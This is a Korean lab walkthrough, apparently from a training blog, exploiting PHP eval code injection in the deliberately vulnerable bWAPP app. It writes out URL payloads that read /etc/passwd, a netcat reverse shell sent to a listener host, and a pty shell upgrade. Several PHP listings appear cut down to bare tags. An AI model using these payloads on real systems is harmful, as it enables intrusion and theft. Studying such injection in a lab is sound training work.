정보보안(구버전)/ bWAPP 2019. 2. 25. 16:08
웹 해킹 bWAPP - 107. A9 - Using Known Vulnerable Components - PHP Eval Function
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Using Known Vulnerable Components
- OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용
- 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이
가능한 취약점이다.
2. 'eval' 함수
- 문자열을 입력 받아 그 문자열을 수식 계산하여 처리한 이후 결과값을 반환하는 함수이다.
- eval 함수는 문자를 PHP 함수로 인식하여 출력하는 취약점을 갖고 있다.
- 그렇기 때문에 공격자가 eval 함수를 사용하는것을 알게되면, 악성 쿼리문을 인젝션할 수 있다.
root@kali:~# service apache2 start
root@kali:~#
root@kali:~# cd /var/www/html
root@kali:/var/www/html# vi cisco.php
<?php
<?php
<?php
:wq! |
브라우저 실행 -> '192.168.20.50/cisco.php' 접속 실시
- echo는 $c에 있는 $a와 $b 값을 변수로 인식하지 않고 출력함, 그러나 eval 함수는 변수로 인식하여 값을 출력함
- eval 함수를 사용했기 때문에 CCIE 내용이 출력된다
- eval 함수를 사용했기 때문에 CCNA 내용 다음에 있는 System 함수 명령어가 실행된다.
3. Using Known Vulnerable Components - PHP Eval Function
- 이 시나리오는 PHP 함수에 악의적인 코드를 인젝션하여 시스템 정보 확인 및 다른 명령어를 실행하는 내용이다.
Ex1) Using Known Vulnerable Components - PHP Eval Function 이해 I
보안 레벨 및 시나리오 선택
PHP Eval 함수 취약점 이용 내용 확인
'PHP Code Inection' 시나리오 선택
'message...' 클릭 -> 'test' 메세지 출력 확인
주소창 내용 확인
마우스 우클릭 -> '페이지 소스' 클릭
PHP 소스 내용 확인
Ex2) Using Known Vulnerable Components - PHP Eval Function 이해 II
기존 URL에 system('cat /etc/passwd | head -3') 추가 -> 접속 실시
'cat /etc/passwrd | head -3' 내용 확인
Ex3) Using Known Vulnerable Components - PHP Eval Function 이해 III
root@kali:~# nc -l -p 4444
기존 URL에 system('nc 192.168.20.50 4444 -e /bin/bash') 추가 -> 접속 실시
root@kali:~# nc -l -p 4444
pwd
/var/www/bWAPP
python -c 'import pty;pty.spawn("/bin/bash")' <- 명령 프롬프트 생성 실시
www-data@bee-box:/var/www/bWAPP$
www-data@bee-box:/var/www/bWAPP$ pwd
pwd
/var/www/bWAPP
www-data@bee-box:/var/www/bWAPP$ cat /etc/passwd | head -3
cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
www-data@bee-box:/var/www/bWAPP$ (Ctrl+C)
root@kali:~#
Ex4) 'phpi.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l phpi.php
-rw-rw-r-- 1 root www-data 5044 2014-11-02 23:52 phpi.php
bee@bee-box:/var/www/bWAPP$ vi phpi.php
~ 중간 생략 ~
<?php if(isset($_REQUEST["message"])) // If the security level is not MEDIUM or HIGH ?>
<?php } // If the security level is MEDIUM or HIGH
<?php } }
:q! |
Ex5) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
http://192.168.20.205/bWAPP/phpi.php?message=test; system('cat /etc/passwd | head -3')
htmlspecialchars 함수에 의해서 메타케릭터 인젝션 필터링 실시
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 107. A9 - bWAPP Using Known Vulnerable Components - PHP Eval Function